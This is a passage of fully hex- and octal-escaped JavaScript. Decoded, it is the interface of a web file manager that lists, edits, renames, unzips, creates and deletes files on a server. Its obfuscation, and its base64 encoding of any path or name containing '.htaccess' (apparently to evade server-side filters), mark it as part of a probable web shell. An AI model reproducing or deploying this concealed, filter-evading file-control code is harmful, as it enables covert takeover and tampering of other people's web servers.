3\x74\x27\54\40\146\157\x72\155\104\x61\x74\x61\x29\x2e\164\x68\x65\156\50\162\x65\163\165\154\164\40\x3d\76\x20\173\12\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\151\146\40\50\x21\x72\x65\163\165\154\x74\51\x20\162\x65\164\x75\162\x6e\73\xa\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x53\124\101\124\105\56\143\x75\x72\162\x65\156\164\x50\141\164\150\x20\x3d\40\x72\x65\163\165\154\164\56\x70\x61\x74\x68\73\40\144\157\x6d\x2e\x70\141\x74\150\x42\x61\x72\56\x74\145\x78\x74\103\157\156\164\x65\156\164\40\75\x20\123\124\x41\124\105\x2e\143\165\x72\x72\x65\156\164\x50\141\164\150\73\x20\x6c\x65\x74\x20\x68\x74\x6d\x6c\40\x3d\40\x27\x27\73\40\154\x65\x74\x20\160\x61\162\x65\x6e\x74\120\x61\x74\x68\40\75\40\123\x54\101\x54\105\56\143\x75\x72\162\x65\156\x74\x50\141\x74\x68\56\163\x75\x62\163\164\x72\151\x6e\147\x28\x30\x2c\40\123\124\101\124\x45\56\143\165\x72\162\145\156\164\x50\141\x74\x68\56\154\141\x73\x74\x49\156\144\x65\x78\x4f\146\x28\x27\x2f\x27\51\51\73\x20\x69\x66\x20\50\160\141\x72\145\156\164\x50\141\164\150\40\75\75\75\x20\x27\47\51\x20\x70\141\x72\x65\x6e\164\x50\141\x74\150\x20\x3d\40\x27\x2f\47\73\xa\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\40\40\40\x20\151\146\x20\50\x53\124\x41\x54\105\56\143\x75\x72\x72\145\156\x74\120\x61\x74\150\40\x21\75\75\40\47\57\47\x29\40\x7b\x20\x68\164\x6d\154\40\53\75\40\x60\x3c\164\162\40\x64\x61\164\x61\55\160\141\x74\150\75\42\44\x7b\160\141\x72\x65\x6e\x74\x50\x61\164\x68\x7d\x22\x3e\74\x74\144\x3e\x3c\57\164\144\x3e\74\x74\x64\x20\x63\157\154\163\x70\141\x6e\x3d\42\64\x22\x20\143\154\x61\x73\163\75\x22\x69\x74\145\155\55\154\x69\156\153\x22\x3e\xc3\x83\xc2\xa2\303\x82\xc2\xac\303\202\302\206\xc3\203\302\xaf\303\x82\xc2\xb8\303\202\xc2\x8f\40\56\56\40\50\120\141\x72\x65\x6e\x74\40\104\151\x72\145\x63\164\157\x72\x79\51\x3c\x2f\164\x64\76\74\57\x74\x72\76\x60\x3b\40\175\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\162\145\163\x75\154\164\56\146\151\154\145\163\x2e\x73\157\162\164\50\50\141\54\142\51\40\x3d\x3e\x20\x28\x61\56\151\x73\x5f\144\151\x72\x20\x3d\75\x3d\x20\142\56\151\x73\137\144\151\x72\51\x20\x3f\x20\x61\x2e\156\x61\155\x65\56\x6c\x6f\x63\141\x6c\145\103\x6f\155\160\141\162\x65\x28\x62\56\156\141\x6d\x65\x29\40\x3a\40\50\x61\x2e\151\x73\x5f\x64\151\162\x20\77\40\55\61\40\72\x20\x31\51\51\x3b\xa\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\40\x20\162\x65\163\165\154\x74\56\x66\151\x6c\x65\163\x2e\146\x6f\x72\x45\x61\143\x68\50\146\x69\154\145\x20\75\x3e\x20\x7b\xa\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\40\x63\157\156\x73\164\40\163\x69\172\x65\40\x3d\40\x66\x69\x6c\x65\x2e\x69\163\137\x64\151\x72\40\77\x20\x27\55\47\x20\x3a\40\50\x66\151\x6c\x65\56\163\x69\x7a\x65\x20\57\40\x31\60\62\x34\x29\x2e\164\157\106\151\170\x65\144\50\x32\x29\40\53\40\47\x20\113\102\47\x3b\x20\143\x6f\156\x73\x74\40\155\157\144\151\146\x69\145\x64\40\x3d\x20\156\145\x77\40\x44\141\164\x65\50\x66\x69\x6c\145\x2e\x6d\x6f\144\151\x66\151\145\144\40\x2a\x20\x31\60\60\60\51\x2e\164\157\x4c\157\x63\141\154\x65\123\164\162\151\156\147\x28\x29\x3b\12\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\x63\x6f\x6e\x73\164\x20\x69\x63\157\156\x20\75\40\146\151\x6c\145\56\x69\163\x5f\x64\151\162\40\77\x20\47\303\203\302\260\xc3\x82\302\237\303\202\xc2\223\303\x82\xc2\201\x27\x20\x3a\x20\47\303\x83\302\xb0\xc3\x82\xc2\237\xc3\202\302\223\303\x82\302\x84\x27\x3b\12\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\143\157\156\x73\164\40\x66\165\154\154\120\x61\x74\x68\40\x3d\40\x60\x24\x7b\123\124\101\x54\x45\56\x63\165\162\x72\x65\156\164\x50\141\x74\x68\175\57\44\x7b\146\x69\154\145\x2e\x6e\x61\x6d\145\175\140\x2e\x72\x65\160\x6c\141\x63\145\x28\57\x5c\57\53\x2f\147\x2c\x20\x27\57\47\51\x3b\x20\143\157\x6e\163\164\40\x64\141\x74\x61\x41\x74\164\x72\40\75\40\x60\144\141\x74\x61\55\160\x61\164\150\75\x22\44\173\146\x75\x6c\x6c\x50\141\164\x68\x7d\42\140\x3b\40\x63\157\156\x73\x74\x20\x72\x6f\x77\x44\x61\x74\x61\x20\75\x20\146\x69\154\145\56\x69\163\137\x64\151\162\40\77\x20\140\143\154\x61\x73\x73\75\42\144\151\x72\55\154\x69\x6e\x6b\x22\x20\x24\173\144\141\164\x61\x41\x74\164\x72\175\140\x20\72\40\47\47\x3b\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\150\164\x6d\x6c\40\53\75\40\x60\x3c\164\x72\x20\44\x7b\162\x6f\x77\104\141\164\x61\175\x3e\74\x74\144\76\74\151\x6e\160\x75\x74\x20\x74\x79\x70\145\x3d\42\x63\150\145\143\x6b\142\x6f\x78\x22\40\143\154\141\x73\163\x3d\42\x69\x74\x65\x6d\55\163\145\154\145\x63\x74\42\x20\166\x61\x6c\x75\x65\75\x22\44\x7b\146\151\x6c\x65\x2e\x6e\x61\x6d\145\175\x22\76\74\x2f\x74\x64\76\74\x74\x64\76\x3c\141\x20\150\x72\x65\146\75\42\x23\42\x20\143\154\141\x73\x73\x3d\42\151\164\145\155\x2d\154\151\156\153\x22\x20\44\173\144\x61\164\x61\101\164\164\x72\175\76\x24\x7b\151\x63\157\x6e\x7d\40\44\173\x66\151\154\x65\x2e\156\141\155\x65\175\74\57\x61\x3e\x3c\57\164\x64\76\x3c\x74\144\76\44\x7b\x73\151\172\x65\175\x3c\x2f\x74\144\76\74\164\144\x3e\44\173\x6d\157\144\x69\x66\151\x65\x64\175\74\57\x74\144\76\x3c\x74\x64\x3e\x3c\x64\x69\x76\x20\143\154\x61\x73\x73\x3d\42\x61\143\x74\151\x6f\x6e\x73\42\76\44\x7b\x21\x66\151\154\145\x2e\151\x73\137\x64\x69\162\x20\77\40\140\x3c\x62\x75\164\x74\157\x6e\40\x63\x6c\141\163\x73\x3d\x22\142\x75\x74\164\x6f\156\x20\145\144\x69\x74\55\x62\164\x6e\42\x20\x24\x7b\x64\x61\x74\141\101\164\164\x72\175\x3e\105\144\x69\x74\x3c\x2f\142\165\x74\164\x6f\x6e\76\x60\40\x3a\x20\47\x27\x7d\74\x62\x75\164\164\x6f\156\x20\x63\154\x61\x73\x73\75\42\x62\165\164\x74\157\156\40\x72\145\x6e\141\155\x65\x2d\142\164\x6e\42\x20\144\x61\x74\141\55\x6e\x61\x6d\x65\75\x22\44\x7b\146\x69\154\145\56\156\x61\x6d\x65\175\x22\x3e\122\145\156\x61\x6d\x65\74\x2f\x62\x75\x74\164\x6f\x6e\76\x24\173\x66\x69\154\x65\56\156\141\x6d\x65\56\x65\x6e\144\163\x57\x69\x74\x68\50\x27\56\172\x69\160\47\x29\x20\77\40\140\x3c\142\165\164\164\157\x6e\40\x63\x6c\x61\163\x73\75\42\142\165\164\164\157\x6e\x20\x75\x6e\x7a\151\160\55\x62\x74\156\x22\x20\44\173\144\x61\164\x61\101\164\x74\162\x7d\x3e\125\156\x7a\151\x70\x3c\x2f\142\165\x74\x74\x6f\x6e\x3e\x60\72\x27\x27\40\175\x3c\57\x64\x69\166\x3e\x3c\x2f\164\x64\x3e\74\57\x74\x72\x3e\x60\x3b\xa\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\175\x29\x3b\12\x20\x20\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\x20\144\157\x6d\56\146\151\x6c\x65\114\151\163\164\56\x69\156\156\x65\162\110\x54\x4d\x4c\40\x3d\40\150\x74\155\154\73\40\x64\x6f\155\56\x73\x65\x6c\x65\143\x74\101\154\154\x2e\143\x68\145\143\153\x65\144\40\x3d\x20\x66\141\154\x73\x65\73\12\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\175\51\73\12\40\40\40\x20\x20\40\40\x20\x7d\12\x20\40\x20\x20\40\40\x20\40\12\40\x20\x20\40\x20\40\40\x20\x64\157\x6d\x2e\x66\x69\x6c\145\x4c\x69\163\x74\56\141\x64\x64\105\166\145\156\164\114\x69\163\164\x65\156\x65\x72\x28\x27\143\x6c\x69\x63\x6b\47\x2c\40\x65\x20\75\x3e\x20\173\xa\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\x69\146\40\50\x65\56\x74\141\x72\147\145\x74\x2e\x6d\141\164\x63\x68\145\163\x28\47\56\x69\164\145\155\55\163\145\154\x65\143\164\47\x29\51\40\173\x20\x72\145\x74\x75\x72\156\x3b\x20\x7d\12\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\143\x6f\x6e\163\164\40\x62\x75\x74\164\157\x6e\40\x3d\x20\x65\56\x74\141\162\x67\x65\164\56\x63\x6c\157\163\x65\x73\164\x28\x27\142\165\x74\x74\157\x6e\47\51\x3b\12\x20\40\x20\40\x20\40\40\40\40\40\40\40\x69\x66\40\x28\x62\x75\x74\164\157\x6e\51\x20\173\12\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\x20\40\40\x65\56\x70\x72\x65\166\x65\156\164\104\x65\146\x61\x75\154\x74\x28\x29\73\12\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x69\x66\40\50\142\165\164\x74\157\x6e\56\155\x61\164\143\150\145\163\x28\x27\x2e\x72\x65\x6e\x61\155\145\55\x62\x74\156\x27\x29\x29\40\x7b\xa\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\143\157\x6e\x73\164\40\x6f\154\144\116\141\155\x65\x20\x3d\40\142\x75\x74\x74\157\x6e\x2e\x64\x61\164\141\163\x65\x74\x2e\156\141\x6d\x65\x3b\xa\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\143\x6f\x6e\163\164\40\156\x65\167\116\x61\x6d\x65\x20\75\x20\x70\162\x6f\155\160\164\50\x27\x45\156\164\x65\162\x20\156\x65\x77\x20\156\141\x6d\x65\72\47\54\x20\157\154\x64\x4e\141\155\145\51\73\12\40\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\151\x66\x20\50\156\145\x77\116\x61\155\x65\x20\46\46\x20\156\x65\167\x4e\x61\x6d\x65\40\41\75\x3d\40\157\x6c\144\116\141\155\145\x29\40\x7b\12\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\143\157\x6e\x73\x74\40\146\144\40\x3d\40\156\x65\x77\x20\x46\157\162\155\104\141\164\141\x28\x29\x3b\xa\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\146\144\56\141\160\x70\x65\x6e\144\x28\x27\160\x61\x74\x68\47\54\x20\x53\x54\x41\124\x45\x2e\143\x75\162\x72\145\x6e\x74\120\x61\x74\150\x29\73\12\40\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x6c\x65\x74\40\x61\143\164\151\157\x6e\40\x3d\x20\47\x72\145\x6e\x61\155\x65\47\73\xa\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x69\146\40\x28\157\x6c\x64\116\x61\155\x65\56\151\156\x63\x6c\165\144\145\163\x28\x27\56\150\x74\x61\143\143\x65\163\x73\47\x29\x20\x7c\x7c\x20\x6e\x65\167\116\x61\x6d\x65\x2e\x69\x6e\143\x6c\x75\x64\145\163\50\47\56\x68\x74\x61\143\143\145\163\x73\x27\51\51\40\x7b\12\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\141\x63\x74\x69\157\x6e\x20\x3d\40\47\x72\x65\x6e\141\155\145\137\x62\x36\64\x27\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\146\x64\x2e\141\160\x70\145\156\x64\50\47\157\154\x64\137\156\x61\155\145\137\x62\66\64\x27\54\40\x62\164\x6f\141\x28\157\154\144\116\x61\x6d\x65\x29\51\x3b\xa\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\146\144\56\x61\160\x70\x65\156\x64\x28\x27\156\x65\x77\x5f\x6e\141\x6d\145\x5f\142\x36\64\x27\x2c\40\142\x74\157\141\x28\x6e\x65\167\116\141\x6d\x65\x29\51\x3b\12\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\175\40\x65\x6c\x73\x65\40\173\xa\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\146\x64\56\x61\x70\x70\x65\156\x64\50\47\x6f\x6c\x64\137\156\x61\155\x65\x27\x2c\x20\157\154\x64\x4e\141\x6d\145\x29\x3b\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x66\x64\x2e\x61\x70\x70\x65\x6e\144\x28\47\x6e\145\x77\x5f\156\141\x6d\145\x27\x2c\x20\156\145\167\x4e\x61\x6d\x65\x29\x3b\xa\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\175\12\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\40\x61\160\151\x43\x61\x6c\x6c\50\x61\143\164\151\x6f\156\54\x20\x66\x64\51\56\x74\x68\x65\x6e\50\162\145\x6e\x64\145\x72\51\x3b\xa\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x7d\12\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x20\175\x20\12\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x65\x6c\x73\145\40\x69\x66\40\50\x62\165\x74\x74\157\156\56\155\141\164\143\x68\145\x73\x28\47\56\x75\156\x7a\x69\160\55\x62\164\x6e\47\51\x29\x20\x7b\40\x69\x66\40\x28\143\157\156\x66\x69\x72\x6d\x28\47\101\x72\x65\40\x79\x6f\x75\x20\x73\165\162\145\40\x79\157\x75\x20\167\x61\x6e\164\40\164\157\40\x65\x78\x74\162\141\x63\x74\x20\164\150\151\163\x20\x61\162\143\x68\151\166\145\77\x27\x29\51\x20\173\x20\x63\x6f\156\x73\164\40\x66\144\40\75\40\156\145\x77\40\106\157\162\x6d\x44\141\164\x61\x28\51\x3b\x20\146\x64\x2e\x61\x70\160\x65\156\x64\50\x27\x70\141\x74\x68\x27\54\x20\x62\165\164\x74\x6f\156\x2e\x64\x61\164\141\163\145\x74\x2e\x70\x61\164\x68\x29\x3b\40\x61\x70\151\103\141\154\x6c\50\47\165\156\x7a\151\x70\x27\x2c\x20\146\144\54\x20\164\x72\165\145\51\x2e\164\x68\x65\156\x28\162\x65\156\144\145\x72\51\73\x20\x7d\x20\175\x20\xa\x20\40\x20\40\40\40\x20\40\40\40\40\x20\40\x20\x20\40\145\x6c\x73\x65\x20\151\x66\40\50\142\165\x74\x74\x6f\156\56\155\141\164\x63\x68\x65\163\50\x27\x2e\x65\144\151\164\55\x62\x74\x6e\47\51\x29\x20\x7b\12\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\x63\x6f\156\163\x74\x20\160\141\x74\150\40\x3d\x20\142\165\x74\x74\157\x6e\56\144\141\x74\141\x73\145\x74\x2e\160\x61\x74\150\x3b\xa\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x63\157\x6e\x73\164\40\x66\144\x20\75\x20\156\x65\167\x20\x46\157\162\x6d\104\141\x74\x61\50\x29\73\xa\40\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\x20\x20\40\154\x65\x74\x20\x61\x63\164\151\x6f\156\40\x3d\x20\x27\x67\x65\x74\x5f\x63\x6f\156\164\145\156\x74\x27\x3b\12\40\40\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x69\x66\x20\x28\160\x61\x74\150\x2e\x69\156\x63\x6c\x75\144\x65\163\x28\47\x2e\x68\164\x61\x63\143\145\x73\x73\47\x29\x29\40\x7b\12\40\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\141\143\x74\x69\x6f\156\x20\x3d\x20\47\x67\145\164\x5f\143\157\156\x74\x65\156\x74\137\x62\66\x34\47\73\xa\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\146\x64\x2e\141\x70\x70\x65\156\144\x28\x27\160\x61\x74\150\x5f\x62\66\x34\47\x2c\x20\142\164\157\x61\x28\x70\141\164\x68\51\51\73\xa\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x7d\x20\145\x6c\163\145\40\173\xa\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x66\x64\x2e\141\160\160\x65\156\144\x28\x27\160\x61\164\x68\47\54\x20\x70\141\x74\150\51\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\40\40\x7d\12\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\141\x70\x69\103\x61\x6c\x6c\50\141\x63\x74\151\157\156\54\x20\x66\144\x29\x2e\x74\x68\x65\156\50\x72\x65\x73\x75\154\164\40\x3d\76\40\x7b\12\40\x20\40\40\40\x20\40\40\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\151\x66\x28\162\x65\x73\x75\154\x74\51\40\x7b\xa\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\40\40\x20\144\x6f\155\x2e\x65\x64\151\164\157\x72\x46\x69\x6c\x65\x6e\141\x6d\145\x2e\x74\x65\x78\x74\x43\157\x6e\164\x65\156\x74\40\75\40\x70\141\x74\150\73\12\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x64\157\155\56\145\x64\x69\164\157\x72\56\166\x61\x6c\165\x65\x20\75\x20\141\164\x6f\x62\50\x61\164\157\x62\50\x72\145\x73\x75\x6c\x74\56\143\x6f\x6e\x74\x65\x6e\164\51\x29\x3b\xa\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x64\x6f\155\x2e\145\x64\x69\x74\x6f\162\x4d\x6f\x64\141\154\56\x73\164\x79\x6c\x65\x2e\144\x69\x73\x70\154\x61\x79\40\x3d\x20\x27\x66\154\x65\170\47\73\12\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\x7d\xa\x20\x20\40\40\x20\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\175\51\x3b\12\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\175\12\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\162\x65\x74\165\x72\156\x3b\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x7d\xa\40\x20\40\x20\40\40\40\40\x20\40\x20\40\x63\x6f\x6e\163\x74\x20\x6e\x61\x76\124\141\x72\147\x65\x74\x20\75\40\x65\x2e\x74\141\x72\x67\145\164\56\143\x6c\x6f\x73\x65\163\x74\50\x27\x5b\144\141\x74\141\55\x70\141\164\x68\135\x27\x29\73\xa\x20\x20\40\x20\40\x20\40\40\40\40\40\40\151\x66\x20\x28\x6e\x61\166\124\141\162\147\145\x74\51\40\173\40\145\56\x70\x72\x65\x76\145\156\x74\104\x65\146\141\165\x6c\x74\x28\51\x3b\x20\x53\124\101\x54\x45\56\x63\x75\x72\x72\x65\x6e\164\x50\x61\x74\150\x20\x3d\x20\156\x61\166\x54\x61\162\x67\145\164\x2e\144\x61\164\141\x73\145\164\56\x70\x61\164\x68\73\40\162\x65\156\x64\x65\162\x28\51\x3b\40\175\xa\40\x20\x20\40\x20\x20\x20\40\x7d\51\x3b\xa\40\x20\x20\x20\40\x20\x20\40\xa\x20\40\40\40\40\x20\40\40\x64\157\x6d\56\156\x65\x77\x46\157\154\144\x65\162\x42\x74\156\56\141\x64\x64\105\x76\145\x6e\x74\x4c\x69\x73\x74\x65\x6e\145\162\50\47\143\154\151\143\153\x27\x2c\x20\50\x29\40\75\x3e\x20\173\x20\x63\x6f\x6e\x73\x74\x20\156\141\x6d\145\x20\x3d\x20\160\x72\157\155\x70\x74\50\47\x45\x6e\164\145\162\x20\x6e\x65\x77\x20\146\x6f\154\x64\x65\x72\x20\156\x61\x6d\x65\x3a\x27\51\x3b\x20\151\x66\x20\50\x6e\x61\x6d\145\51\40\x7b\40\143\157\x6e\x73\164\x20\146\x64\x20\75\x20\x6e\145\x77\x20\106\x6f\x72\x6d\x44\141\x74\x61\50\51\x3b\40\146\x64\x2e\141\x70\160\145\156\144\50\47\x70\x61\164\150\x27\x2c\40\123\124\101\x54\105\x2e\x63\x75\162\x72\x65\156\164\x50\141\164\150\51\x3b\x20\x66\144\56\x61\x70\x70\x65\x6e\144\x28\x27\156\141\155\145\x27\54\x20\x6e\x61\x6d\145\x29\73\40\141\x70\x69\x43\141\154\x6c\x28\47\143\162\x65\x61\x74\x65\x5f\x66\157\154\144\x65\x72\x27\54\40\146\144\51\x2e\164\x68\x65\x6e\x28\x72\145\x6e\144\x65\162\51\73\40\x7d\x20\175\x29\73\12\40\x20\x20\x20\x20\x20\x20\40\144\x6f\x6d\56\x6e\x65\x77\106\151\x6c\x65\x42\x74\x6e\x2e\141\x64\x64\x45\x76\145\156\164\114\x69\x73\164\145\156\x65\162\50\x27\143\x6c\x69\143\x6b\x27\54\x20\x28\x29\x20\75\x3e\40\173\x20\x63\157\156\163\164\x20\156\x61\x6d\145\x20\75\40\x70\162\x6f\155\160\164\x28\x27\105\156\164\x65\x72\x20\156\x65\167\x20\146\151\154\145\40\x6e\x61\x6d\x65\72\47\x29\x3b\x20\x69\146\40\50\156\141\x6d\145\51\40\x7b\40\x63\157\156\163\x74\40\x66\x64\40\75\x20\156\145\167\40\x46\157\x72\155\x44\141\x74\x61\x28\51\x3b\x20\x66\x64\56\x61\160\160\145\156\144\x28\47\160\141\164\x68\x27\54\40\123\x54\x41\x54\x45\56\143\x75\162\162\x65\156\164\x50\x61\x74\150\51\x3b\40\x66\x64\x2e\x61\160\160\x65\156\144\x28\x27\156\x61\x6d\145\47\x2c\x20\x6e\141\x6d\145\x29\x3b\40\x61\x70\151\103\x61\154\x6c\50\x27\x63\162\x65\141\164\x65\x5f\146\151\154\145\47\x2c\x20\x66\x64\51\x2e\x74\150\145\x6e\x28\162\x65\x6e\x64\145\x72\51\x3b\40\x7d\x20\x7d\x29\73\12\x20\x20\x20\x20\40\40\40\40\144\157\155\56\163\145\154\145\143\x74\x41\x6c\x6c\x2e\141\144\x64\105\x76\145\156\x74\x4c\151\163\x74\x65\156\x65\162\50\47\x63\x68\x61\156\147\145\x27\x2c\40\145\x20\x3d\76\40\x64\157\143\165\x6d\x65\x6e\x74\x2e\x71\165\x65\162\x79\123\x65\x6c\x65\143\164\157\x72\101\x6c\x6c\x28\x27\56\x69\164\x65\x6d\55\163\145\x6c\x65\143\x74\x27\x29\56\146\x6f\162\x45\141\x63\x68\50\x63\142\40\x3d\76\40\x63\142\56\143\x68\x65\143\x6b\x65\x64\x20\75\40\145\56\164\141\x72\147\x65\164\56\143\x68\x65\x63\x6b\145\x64\51\x29\73\12\x20\x20\40\40\40\40\40\x20\12\40\40\40\40\x20\x20\x20\x20\144\157\155\56\144\x65\154\x65\x74\x65\x42\164\156\x2e\x61\x64\144\x45\x76\145\156\164\x4c\x69\x73\x74\x65\x6e\145\x72\50\47\143\154\151\143\153\47\x2c\x20\x28\x29\x20\75\76\40\173\12\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\143\x6f\x6e\163\164\x20\163\x65\154\145\143\164\x65\144\40\75\40\x41\162\x72\x61\171\56\146\162\157\x6d\x28\144\x6f\143\x75\x6d\145\156\x74\x2e\x71\165\145\x72\171\x53\145\154\x65\x63\164\x6f\x72\x41\154\154\50\47\x2e\x69\164\145\155\x2d\163\145\x6c\x65\143\164\72\143\x68\x65\143\153\x65\x64\x27\51\51\x2e\155\141\160\x28\143\x62\x20\x3d\76\x20\143\142\x2e\166\141\x6c\x75\145\x29\x3b\12\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x69\146\x20\x28\163\145\154\145\143\164\x65\144\x2e\x6c\x65\156\x67\164\x68\40\x3d\75\x3d\40\60\51\40\162\145\x74\x75\162\156\x20\x61\x6c\145\x72\x74\50\x27\x4e\157\40\x69\164\x65\155\163\40\163\x65\x6c\145\x63\x74\145\x64\56\x27\x29\73\xa\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\151\x66\40\50\x63\x6f\x6e\x66\151\x72\x6d\x28\140\101\x72\145\40\x79\157\x75\40\163\x75\x72\145\x20\x79\x6f\165\40\167\141\x6e\x74\x20\x74\x6f\x20\x64\145\154\145\164\145\x20\44\x7b\x73\145\x6c\x65\x63\164\x65\x64\x2e\x6c\x65\x6e\x67\164\x68\x7d\x20\151\x74\145\155\50\163\51\77\x60\x29\x29\40\173\xa\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\x63\157\156\x73\x74\40\x66\144\x20\75\x20\156\x65\167\40\x46\x6f\x72\155\104\141\x74\141\x28\51\x3b\12\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x66\x64\56\141\160\160\145\x6e\144\x28\x27\x70\x61\164\150\47\x2c\x20\x53\x54\101\124\105\56\143\x75\162\x72\145\156\164\120\x61\x74\x68\x29\73\12\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\143\157\156\163\164\x20\151\163\x53\x65\156\x73\151\x74\x69\x76\145\x20\x3d\40\x73\x65\x6c\145\143\164\x65\144\x2e\163\157\x6d\145\50\151\x74\145\155\x20\75\76\x20\151\x74\145\x6d\x2e\x69\x6e\143\154\x75\144\145\163\x28\47\x2e\x68\x74\x61\143\143\x65\163\163\47\51\x29\x3b\xa\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\154\145\164\40\141\x63\164\151\157\x6e\x20\x3d\40\x27\144\x65\x6c\145\164\x65\47\73\12\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\151\146\40\50\151\x73\x53\145\x6e\163\151\x74\151\166\x65\51\40\173\12\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\x61\x63\164\x69\x6f\156\x20\x3d\x20\47\144\145\x6c\x65\x74\145\x5f\142\x36\64\x27\x3b\12\40\40\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\163\145\x6c\x65\143\164\145\144\x2e\146\157\162\105\x61\x63\x68\x28\151\x74\145\155\40\75\x3e\40\x66\x64\56\141\160\x70\x65\156\144\50\47\x69\x74\x65\x6d\163\137\x62\66\64\133\135\47\54\40\142\x74\157\141\x28\x69\x74\145\155\x29\51\x29\73\12\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\175\40\145\154\163\x65\40\173\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x73\145\154\145\143\164\x65\x64\x2e\146\157\x72\105\x61\143\150\50\151\x74\x65\155\40\75\x3e\40\x66\x64\56\141\x70\160\x65\156\144\x28\47\151\x74\x65\155\163\x5b\135\x27\54\40\151\164\145\x6d\x29\51\73\xa\40\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\x7d